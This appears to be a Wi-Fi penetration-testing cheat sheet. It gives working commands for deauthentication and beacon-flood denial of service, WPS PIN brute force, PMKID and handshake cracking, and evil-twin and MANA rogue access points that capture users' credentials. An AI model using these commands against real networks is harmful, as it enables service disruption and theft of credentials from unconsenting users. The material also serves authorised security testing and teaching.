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Pentesting Wifi
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ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Run airgeddon with docker
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
It can perform Evil Twin, KARMA, and Known Beacons attacks and then use a phishing template to manage to obtain the network real password or capture social network credentials.
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
This tool automates WPS/WEP/WPA-PSK attacks. It will automatically:
- Set the interface in monitor mode
- Scan for possible networks - And let you select the victim(s)
- If WEP - Launch WEP attacks
- If WPA-PSK
- If WPS: Pixie dust attack and the bruteforce attack (be careful the brute-force attack could take a long time). Notice that it doesn't try null PIN or database/generated PINs.
- Try to capture the PMKID from the AP to crack it
- Try to deauthenticate clients of the AP to capture a handshake
- If PMKID or Handshake, try to bruteforce using top5000 passwords.
- DoS
- Deauthentication/disassociation -- Disconnect everyone (or a specific ESSID/Client)
- Random fake APs -- Hide nets, possible crash scanners
- Overload AP -- Try to kill the AP (usually not very useful)
- WIDS -- Play with the IDS
- TKIP, EAPOL -- Some specific attacks to DoS some APs
- Cracking
- Crack WEP (several tools and methods)
- WPA-PSK
- WPS pin "Brute-Force"
- WPA PMKID bruteforce
- [DoS +] WPA handshake capture + Cracking
- WPA-MGT
- Username capture
- Bruteforce Credentials
- Evil Twin (with or without DoS)
- Open Evil Twin [+ DoS] -- Useful to capture captive portal creds and/or perform LAN attacks
- WPA-PSK Evil Twin -- Useful to network attacks if you know the password
- WPA-MGT -- Useful to capture company credentials
- KARMA, MANA, Loud MANA, Known beacon
- + Open -- Useful to capture captive portal creds and/or perform LAN attacks
- + WPA -- Useful to capture WPA handshakes
The most common way this sort of attack is done is with deauthentication packets. These are a type of "management" frame responsible for disconnecting a device from an access point. Forging these packets is the key to hacking many Wi-Fi networks, as you can forcibly disconnect any client from the network at any time. The ease of which this can be done is somewhat frightening and is often done as part of gathering a WPA handshake for cracking.
Aside from momentarily using this disconnection to harvest a handshake to crack, you can also just let those deauths keep coming, which has the effect of peppering the client with deauth packets seemingly from the network they are connected to. Because these frames aren't encrypted, many programs take advantage of management frames by forging them and sending them to either one or all devices on a network.
Description from here.
Deauthentication using Aireplay-ng
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 means deauthentication
- 1 is the number of deauths to send (you can send multiple if you wish); 0 means send them continuously
- -a 00:14:6C:7E:40:80 is the MAC address of the access point
- -c 00:0F:B5:34:30:30 is the MAC address of the client to deauthenticate; if this is omitted then broadcast deauthentication is sent (not always work)
- ath0 is the interface name
Disassociation packets are another type of management frame that is used to disconnect a node (meaning any device like a laptop or cell phone) from a nearby access point. The difference between deauthentication and disassociation frames is primarily the way they are used.
An AP looking to disconnect a rogue device would send a deauthentication packet to inform the device it has been disconnected from the network, whereas a disassociation packet is used to disconnect any nodes when the AP is powering down, rebooting, or leaving the area.
This attack can be performed by mdk4(mode "d"):
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
ATTACK MODE b: Beacon Flooding
Sends beacon frames to show fake APs at clients. This can sometimes crash network scanners and even drivers!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
ATTACK MODE a: Authentication Denial-Of-Service
Sends authentication frames to all APs found in range. Too many clients can freeze or reset several APs.
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
ATTACK MODE p: SSID Probing and Bruteforcing
Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range. Bruteforcing of hidden SSIDs with or without a wordlist is also available.
ATTACK MODE m: Michael Countermeasures Exploitation
Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs. AP will then shutdown for a whole minute, making this an effective DoS.
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages.
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Various attacks on link management and routing in mesh networks. Flood neighbors and routes, create black holes and divert traffic!
ATTACK MODE w: WIDS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!
Airgeddon offers most of the attacks proposed in the previous comments:
WPS stands for Wi-Fi Protected Setup. It is a wireless network security standard that tries to make connections between a router and wireless devices faster and easier. WPS works only for wireless networks that use a password that is encrypted with the WPA Personal or WPA2 Personal security protocols. WPS doesn't work on wireless networks that are using the deprecated WEP security, which can be cracked easily by any hacker with a basic set of tools and skills. (From here)
WPS uses a 8 length PIN to allow a user to connect to the network, but it's first checked the first 4 numbers and, if correct, then is checked the second 4 numbers. Then, it is possible to Brute-Force the first half and then the second half (only 11000 possibilities).
There are 2 main tools to perform this action: Reaver and Bully.
- Reaver has been designed to be a robust and practical attack against WPS, and has been tested against a wide variety of access points and WPS implementations.
- Bully is a new implementation of the WPS brute force attack, written in C. It has several advantages over the original reaver code: fewer dependencies, improved memory and cpu performance, correct handling of endianness, and a more robust set of options.
This attack takes advantage of a weakness in the eight-digit WPS PIN code; because of this issue, the protocol discloses information about the PIN’s first four digits, and the last digit works as a checksum, which makes brute forcing the WPS AP easy.
Note that some devices include brute-force protections, which usually block MAC addresses that repeatedly try to attack. In that case, the complexity of this attack increases, because you’d have to rotate MAC addresses while testing PINs.
If the WPS valid code is found, both Bully and Reaver will use it to discover the WPA/WPA2 PSK used to protect the network, so you will be able to connect anytime you need it.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
Smart Brute force
Instead of starting trying every possible PIN, you should check if there are available PINs discoveredfor the AP you are attacking (depending of the manufacturer MAC) and the PIN software generated PINs.
- The database of known PINs is made for Access Points of certain manufacturers for which it is known that they use the same WPS PINs. This database contains the first three octets of MAC-addresses and a list of corresponding PINs that are very likely for this manufacturer.
- There are several algorithms for generating WPS PINs. For example, ComputePIN and EasyBox use the MAC-address of the Access Point in their calculations. But the Arcadyan algorithm also requires a device ID.
Dominique Bongard discovered that some APs have weak ways of generating nonces (known as E-S1 and E-S2) that are supposed to be secret. If we are able to figure out what these nonces are, we can easily find the WPS PIN of an AP since the AP must give it to us in a hash in order to prove that it also knowns the PIN, and the client is not connecting to a rouge AP. These E-S1 and E-S2 are essentially the "keys to unlock the lock box" containing the WPS pin. More info here: https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)
Basically, some implementations failed in the use of random keys to encrypt the 2 parts of the the PIN(as it is discomposed in 2 parts during the authentication communication and sent to the client), so an offline attack could be used to brute force the valid PIN.
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
Some really bad implementations allowed the Null PIN to connect (very weird also). Reaver can test this (Bully cannot).
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
All the proposed WPS attacks can be easily performed using airgeddon.
- 5 and 6 lets you try your custom PIN (if you have any)
- 7 and 8 perform the Pixie Dust attack
- 13 allows you to test the NULL PIN
- 11 and 12 will recollect the PINs related to the selected AP from available databases and generate possible PINs using: ComputePIN, EasyBox and optionally Arcadyan (recommended, why not?)
- 9 and 10 will test every possible PIN
So broken and disappeared that I am not going to talk about it. Just know that airgeddon have a WEP option called "All-in-One" to attack this kind of protection. More tools offer similar options.
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In 2018 hashcat authors disclosed a new type of attack which not only relies on one single packet, but it doesn’t require any clients to be connected to our target AP but just communication between the attacker and the AP.
It turns out that a lot of modern routers append an optional field at the end of the first EAPOL frame sent by the AP itself when someone is associating, the so called
Robust Security Network, which includes something called PMKIDAs explained in the original post, the PMKID is derived by using data which is known to us:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
Since the “PMK Name” string is constant, we know both the BSSID of the AP and the station and the
PMK is the same one obtained from a full 4-way handshake, this is all hashcat needs in order to crack the PSK and recover the passphrase!
Description obtained from here.To gather this information and bruteforce locally the password you can do:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
The PMKIDs captured will be shown in the console and also saved inside _ /tmp/attack.pcap_
Now, convert the capture to hashcat/john format and crack it:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Please note the the format of a correct hash contains 4 parts, like: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7*566f6461666f6e65436f6e6e6563743034383131343838
__If yours only contains 3 parts, then, it is invalid (the PMKID capture wasn't valid).
Note that
hcxdumptool also capture handshakes (something like this will appear: MP:M1M2 RC:63258 EAPOLTIME:17091). You could transform the handshakes to hashcat/john format using cap2hccapxtcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
I have noticed that some handshakes captured with this tool couldn't be cracked even knowing the correct password. I would recommend to capture handshakes also via traditional way if possible, or capture several of them using this tool.
One way to attack WPA/WPA2 networks is to capture a handshake and try to crack the used password offline. To do so you need to find the BSSID and channel of the victim network, and a client that is connected to the network.
Once you have that information you have to start listening to all the commutation of that BSSID in that channel, because hopefully the handshake will be send there:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
Now you need to deauthenticate the client for a few seconds so it will automatically authenticate again to the AP (please read the part of DoS to find several ways to deauthenticate a client):
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, not always work
Note that as the client was deauthenticated it could try to connect to a different AP or, in other cases, to a different network.
Once in the
airodump-ng appears some handshake information this means that the handshake was captured and you can stop listening:
Once the handshake is captured you can crack it with
aircrack-ng:aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
If this tool finds an uncompleted handshake of an ESSID before the completed one, it won't detect the valid one.
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
It is important to talk about the different authentication methods that could be used by an enterprise Wifi. For this kind of Wifis you will probably find in
airodump-ng something like this:6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
EAP (Extensible Authentication Protocol) the skull of the authentication communication, on top of this, an authentication algorithm is used by the server to authenticate the client (supplicant) and in same cases by the client to authenticate the server.
Main authentication algorithms used in this case:
- EAP-GTC: Is an EAP method to support the use of hardware tokens and one-time passwords with EAP-PEAP. Its implementation is similar to MSCHAPv2, but does not use a peer challenge. Instead, passwords are sent to the access point in plaintext (very interesting for downgrade attacks).
- EAP-MD-5 (Message Digest): The client send the MD5 hash of the password. Not recommended: Vulnrable to dictionary attacks, no server authentication and no way to generate per session wired equivalent privacy (WEP) keys.
- EAP-TLS (Transport Layer Security): It relies on client-side and server-side certificates to perform authentication and can be used to dynamically generate user-based and session-based WEP keys to secure subsequent communications.
- EAP-TTLS (Tunneled Transport Layer Security): Mutual authentication of the client and network through an encrypted channel (or tunnel), as well as a means to derive dynamic, per-user, per-session WEP keys. Unlike EAP-TLS, EAP-TTLS requires only server-side certificates (client will use credentials).
- PEAP (Protected Extensible Authentication Protocol): PEAP is like the EAP protocol but creating a TLS tunnel to protect the communication. Then, weak authentication protocols can by used on top of EAP as they will be protected by the tunnel.
- PEAP-MSCHAPv2: This is also known as just PEAP because it is widely adopted. This is just the vulnerable challenge/response called MSCHAPv2 on to of PEAP (it is protected by the TLS tunnel).
- PEAP-EAP-TLS or just PEAP-TLS: Is very similar to EAP-TLS but a TLS tunnel is created before the certificates are exchanged.
Reading https://tools.ietf.org/html/rfc3748#page-27 it looks like if you are using EAP the "Identity" messages must be supported, and the username is going to be sent in clear in the "Response Identity" messages.
Even using one of the most secure of authentication methods: PEAP-EAP-TLS, it is possible to capture the username sent in the EAP protocol. To do so, capture a authentication communication (start
airodump-ng inside a channel and wireshark in the same interface) and filter the packets byeapol.
Inside the "Response, Identity" packet, the username of the client will appear.
Both EAP-PEAP and EAP-TTLS support identity hiding. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples.
- EAP-Identity = anonymous
In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server.
- EAP-Identity = anonymous@realm_x
In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node.Alternatively, the first hop server may act as the EAP-PEAP or EAP-TTLS server and either process the protected authentication method or proxy it to another server. This option may be used to configure different policies for different realms.
In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, the PEAP server generates an EAP-Identity request and transmits it down the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity down the encrypted tunnel. This prevents anyone eavesdropping on the 802.11 traffic from discovering the user’s true identity.
EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established.
With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form user@realm or simply user. If the PEAP/TTLS server is also authenticating the user, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request.
If the client is expected to use a username and password (notice that EAP-TLS won't be valid in this case), then you could try to get a list a usernames (see next part) and passwords and try to bruteforce the access using air-hammer.
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
You could also do this attack using
eaphammer:./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station.
Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection.
In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled).
During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID.
The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client’s way of checking if a specific network is nearby.
Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the the station to check if any of its preferred networks are nearby without revealing the contents of its PNL
Before explaining how to perform more complex attacks it's going to be explained how to just create an AP and redirect it's traffic to an interface connected to the Internet.
Using
ifconfig -a check that the wlan interface to create the AP and the interface connected to the Internet are present.apt-get install dnsmasq #Manages DHCP and DNS
create a config file /etc/dnsmasq.conf as follows:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
Then set IPs and routes:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
And then start dnsmasq:
dnsmasq -C dnsmasq.conf -d
apt-get install hostapd
Create a config file hostapd.conf:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
Stop annoying processes , set monitor mode, and start hostapd:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users.
Due how the implementation of clients work (remember that the 802.11 protocol allows stations to roam freely between access points within the same ESS), it is possible to make a device to change the base station it is connected to. It is possible to do that offering a better signal (which is not always possible) or by blocking the access to the original base station (deauthentication packets, jamming, or some other form of DoS attack).
Notice also that real-world wireless deployments usually have more than a single access point, and these access points are often more powerful and have better line-of-site range due to their placement towards the ceiling. Deauthenticating a single access point usually results in the target roaming towards another valid access point rather than your rogue AP, unless all nearby access points are deauthenticated (loud) or you are very careful with the placement of the rogue AP (difficult).
You can create a very basic Open Evil Twin (no capabilities to route traffic to Internet) doing:
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
You could also create an Evil Twin using eaphammer (notice that to create evil twins with eaphammer the interface should NOT be in monitor mode):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
Or using Airgeddon:
Options: 5,6,7,8,9 (inside Evil Twin attack menu).
Please, notice that by default if an ESSID in the PNL is saved as WPA protected, the device won't connect automatically to an Open evil Twin. You can try to DoS the real AP and hope that the user will connect manually to your Open evil twin, or you could DoS the real AP an use a WPA Evil Twin to capture the handshake (using this method you won't be able to let the victim connect to you as you don't know the PSK, but you can capture the handshake and try to crack it).
Some OS and AV will warn the user that connect to an Open network is dangerous...
You can create an Evil Twin using WPA/2 and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, to complete the 4-way-handshake you also need to know the password that the client is going to use. If you don't know it, the connection won't be completed.
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
Using hostapd-wpe
hostapd-wpe needs a configuration file to work. To automate the generation if these configurations you could use https://github.com/WJDigby/apd_launchpad (download the python file inside /etc/hostapd-wpe/)./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
In the configuration file you can select a lot of different things like ssid, channel, user files, cret/key, dh parameters, wpa version and auth...
Using EAPHammer
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
By default, EAPHammer purposes this authentication methods (notice GTC as the first one to try to obtain plaintext passwords and then the use of more robust auth methods):
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
This is the default methodology to avoid long connection times. However, you can also specify to server the authentication methods from weakest to strongest:
--negotiate weakest
Or you could also use:
--negotiate gtc-downgradeto use highly efficient GTC downgrade implementation (plaintext passwords)--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAPto specify manually the methods offered (offering the same auth methods in the same order as the organisation the attack will be much more difficult to detect).
Using Airgeddon
Airgeddon can use previously generated certificated to offer EAP authentication to WPA/WPA2-Enterprise networks. The fake network will downgrade the connection protocol to EAP-MD5 so it will be able to capture the user and the MD5 of the password. Later, the attacker can try to crack the password.
Airggedon offers you the possibility of a continuous Evil Twin attack (noisy) or only create the Evil Attack until someone connects (smooth).
This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS
Inside the configuration of hostapd-wpe comment the line that contains dh_file (from
dh_file=/etc/hostapd-wpe/certs/dh to #dh_file=/etc/hostapd-wpe/certs/dh)
This will make hostapd-wpe to exchange keys using RSA instead of DH, so you will be able to decrypt the traffic later knowing the servers private key.Now start the Evil Twin using
hostapd-wpe with that modified configuration as usual. Also, start wireshark in the interface which is performing the Evil Twin attack.Now or later (when you have already captured some authentication intents) you can add the private RSA key to wireshark in:
Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...Add a new entry and fill the form with this values: IP address = any -- Port = 0 -- Protocol = data -- Key File (select your key file, to avoid problems select a key file without being password protected).
And look at the new "Decrypted TLS" tab:
The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used:
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker.
According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device.
In resume, the MANA algorithm works like this: each time the access point receives a probe request, it first determines whether it’s a broadcast or directed probe. If it’s directed probe, the sender’s MAC address is added to the hash table (if it’s not there already) and the ESSID is added to that device’s PNL. The AP then responds with a directed probe response. If it’s a broadcast probe, the access point responds with probe responses for each of the networks in that device’s PNL.
MANA attack using eaphammer:
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it.
A possibility is what is called Loud MANA attack. This attack relies on the idea that client devices within close physical proximity to one another are likely to have at least some common entries in their PNLs.
In resume, Loud MANA attack instead of responding to probe requests with each ESSID in a particular device’s PNL, the rogue AP sends probe responses for every ESSID in every PNL across all devices that it has seen before. Relating this to set theory, we can say that the AP sends probe responses for each ESSID in the union of all PNLs of nearby devices.
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
There are still cases in which Loud MANA attack won’t succeed.
The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP.
Eaphammer implemented this attack as a MANA attack where all the ESSIDs inside a list are charged (you could also combine this with
--loud to create a Loud MANA + Known beacons attack):./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
Known Beacon Burst attack
As known beacons are loud. You can use a script inside Eaphammer project to just launch beacouns of every ESSID name inside a file very quickly. If you combines this script with a Eaphammer MANA attack, the clients will be able to connect to your AP.
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
Wi-Fi Direct is a Wi-Fi standard that allows devices to connect to each other without a wireless AP as one of the two devices will act as AP (called group owner). You can find Wi-Fi Direct in a lot of IoT devices like printers, TVs...
Wi-Fi Direct relies on Wi-Fi Protected Setup (WPS) to securely connect the devices. WPS has multiple configuration methods such as Push-Button Configuration (PBC), PIN entry, and Near-Field Communication (NFC)
So the attacks previously seen to WPS PIN are also valid here if PIN is used.